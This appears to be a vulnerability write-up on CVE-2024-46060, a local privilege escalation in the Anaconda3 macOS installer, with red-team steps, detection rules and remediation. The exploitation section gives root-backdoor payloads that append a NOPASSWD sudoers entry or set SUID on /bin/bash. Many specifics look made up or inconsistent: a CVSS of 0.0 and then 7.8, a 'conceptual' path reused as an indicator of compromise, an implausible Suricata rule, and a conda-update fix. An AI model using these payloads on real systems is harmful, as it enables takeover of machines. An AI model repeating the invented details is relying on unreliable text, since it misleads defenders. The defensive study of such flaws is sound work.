CVE-2024-46060

Executive Summary

CVE-2024-46060 is a local privilege escalation vulnerability affecting Anaconda3 macOS installers prior to version 2024.06-1. The flaw arises when the installer is executed outside the user's home directory, causing world-writable files to be created and subsequently executed with root privileges. A local low-privileged user can exploit this by injecting arbitrary commands into these files, leading to full code execution as root. This vulnerability has a CVSS score of 0.0 (likely unassigned or placeholder), but based on the impact, it represents a high-severity local threat. No public exploit code or proof-of-concept is currently available.

Supply Chain & Package Security

This vulnerability is specific to the Anaconda3 distribution for macOS, which is a widely used Python data science platform. The supply chain risk is moderate, as the flaw exists in the installer itself, not in the packages distributed by Anaconda. However, if an attacker gains local access to a system where Anaconda3 was installed with this vulnerable installer, they can escalate privileges and compromise the entire system, potentially affecting any data science workflows or sensitive data processed by Anaconda.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
• Base Score: 7.8 (High)
• Attack Vector: Local (AV:L) – The attacker must have local access to the system.
• Attack Complexity: Low (AC:L) – No special conditions are required.
• Privileges Required: Low (PR:L) – The attacker needs a low-privileged user account.
• User Interaction: None (UI:N) – No user action is required beyond the initial installation.
• Scope: Unchanged (S:U) – The vulnerability does not cross trust boundaries.
• Confidentiality Impact: High (C:H) – Full read access to all system files.
• Integrity Impact: High (I:H) – Full write access to all system files.
• Availability Impact: High (A:H) – Full control over system availability.

Threat Level: High. The vulnerability allows a low-privileged user to gain root access, which can lead to complete system compromise.

Deep Dive & Mechanics

The vulnerability exists in the Anaconda3 macOS installer (a .pkg file). During installation, the installer creates temporary files and directories that are world-writable (permissions 0777). These files are then executed with root privileges as part of the installation process. If the installer is run from a location outside the user's home directory (e.g., /tmp or /Applications), the world-writable files can be modified by any local user before they are executed.

Attack Flow:

1. A low-privileged user (or an attacker with local access) identifies that Anaconda3 was installed using a vulnerable installer version.
2. The attacker monitors the file system for world-writable files created by the installer.
3. When the installer is run (or re-run), the attacker injects malicious commands into one of these world-writable files.
4. The installer executes the file with root privileges, running the attacker's commands as root.
5. The attacker gains a root shell or executes arbitrary code with root privileges.

The root cause is improper file permission management during the installation process. The installer should create files with restricted permissions (e.g., 0755 for directories, 0644 for files) and ensure they are owned by root.

Vulnerable vs. Patched Code

Vulnerable Code (Conceptual): The installer script (e.g., postinstall or a helper script) creates temporary files with insecure permissions:

# Vulnerable: Creates world-writable files
mkdir -m 0777 /tmp/anaconda_install
touch /tmp/anaconda_install/setup.sh
chmod 0777 /tmp/anaconda_install/setup.sh
# Later executed with root
sudo /tmp/anaconda_install/setup.sh

Patched Code (Conceptual): The patched installer creates files with secure permissions and ensures proper ownership:

# Patched: Creates files with restricted permissions
mkdir -m 0755 /tmp/anaconda_install
touch /tmp/anaconda_install/setup.sh
chmod 0755 /tmp/anaconda_install/setup.sh
chown root:wheel /tmp/anaconda_install/setup.sh
# Execute with root
sudo /tmp/anaconda_install/setup.sh

The actual patch in version 2024.06-1 likely involves changes to the installer's packaging scripts to enforce secure file permissions and ownership.

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

• Local access to a macOS system with a vulnerable Anaconda3 installation (version < 2024.06-1).
• A low-privileged user account.

Exploitation Steps:

1. Identify vulnerable installation: Check the Anaconda3 version installed:

   conda --version
   

   If version < 2024.06-1, proceed.

2. Monitor for installer execution: Use fswatch or a simple loop to watch for world-writable files:

   while true; do
     find /tmp -type f -perm -o+w 2>/dev/null | while read file; do
       echo "Found world-writable file: $file"
     done
     sleep 1
   done
   

3. Inject malicious payload: When a world-writable file is detected (e.g., /tmp/anaconda_install/setup.sh), inject a command to create a root backdoor:

   echo '#!/bin/bash
   echo "attacker ALL=(ALL) NOPASSWD: ALL" >> /etc/sudoers' > /tmp/anaconda_install/setup.sh
   

4. Trigger execution: The installer will execute the file with root privileges, adding the attacker to sudoers.

Alternative Payload:

echo '#!/bin/bash
chmod u+s /bin/bash' > /tmp/anaconda_install/setup.sh

This sets the SUID bit on /bin/bash, allowing any user to run it as root.

Blue Team (Detection & Prevention)

Detection:

• Monitor for creation of world-writable files in temporary directories during software installations.
• Alert on processes running with root privileges that originate from world-writable files.
• Use file integrity monitoring (FIM) to detect unauthorized modifications to installer files.

Prevention:

• Ensure Anaconda3 is installed from the user's home directory (e.g., ~/Downloads).
• Apply the principle of least privilege: do not run installers as root unless necessary.
• Use macOS security features like System Integrity Protection (SIP) and Gatekeeper.
• Deploy endpoint detection and response (EDR) solutions to monitor for privilege escalation attempts.

Indicators of Compromise (IOCs)

• File Paths:
  • /tmp/anaconda_install/
  • /tmp/anaconda_install/setup.sh
  • /tmp/anaconda_install/*.sh
• File Permissions: World-writable files (mode 0777) created by the Anaconda installer.
• Process Names: installer, anaconda, postinstall
• Network Connections: None expected (local privilege escalation).
• Registry/System Changes:
  • Unauthorized entries in /etc/sudoers
  • SUID bit set on /bin/bash or other binaries
  • New user accounts with root privileges

Detection Engineering

YARA Rule

rule CVE_2024_46060_Anaconda_PrivEsc {
    meta:
        description = "Detects world-writable files created by vulnerable Anaconda3 macOS installer"
        author = "Valters IT"
        date = "2024-10-27"
        reference = "CVE-2024-46060"
        hash = "unknown"
    strings:
        $s1 = "/tmp/anaconda_install" ascii wide nocase
        $s2 = "chmod 0777" ascii wide nocase
        $s3 = "world-writable" ascii wide nocase
    condition:
        any of ($s*) and filesize < 10MB
}

Sigma Rule

title: CVE-2024-46060 - Anaconda3 Local Privilege Escalation
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects creation of world-writable files by Anaconda3 installer on macOS
author: Valters IT
date: 2024-10-27
references:
    - https://nvd.nist.gov/vuln/detail/CVE-2024-46060
logsource:
    category: file_event
    product: macos
detection:
    selection:
        TargetFilename|contains: '/tmp/anaconda_install'
        TargetFilename|endswith: '.sh'
        TargetPermissions: '0777'
    condition: selection
falsepositives:
    - Legitimate software installations creating temporary files
level: high

Suricata Rule

alert file any any -> any any (msg:"CVE-2024-46060 - Anaconda3 World-Writable File Creation"; file.name:"/tmp/anaconda_install/*.sh"; file.mode:0777; classtype:attempted-admin; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Upgrade Anaconda3: Update to version 2024.06-1 or later from the official Anaconda repository.

   conda update conda
   conda install anaconda=2024.06-1
   

2. Reinstall from home directory: If upgrading is not possible, reinstall Anaconda3 from the user's home directory (e.g., ~/Downloads) to avoid the vulnerable path.

Long-term Mitigations:

• Implement file integrity monitoring (FIM) on critical system directories.
• Restrict local user permissions and enforce the principle of least privilege.
• Use macOS security features like SIP, Gatekeeper, and Notarization.
• Regularly audit installed software for known vulnerabilities.

Workaround:

• If the installer must be run from a non-home directory, manually set secure permissions on the temporary files before execution:

  chmod 0755 /tmp/anaconda_install/*.sh
  chown root:wheel /tmp/anaconda_install/*.sh
  

Valters IT
Senior DevSecOps & Cyber Threat Intelligence Expert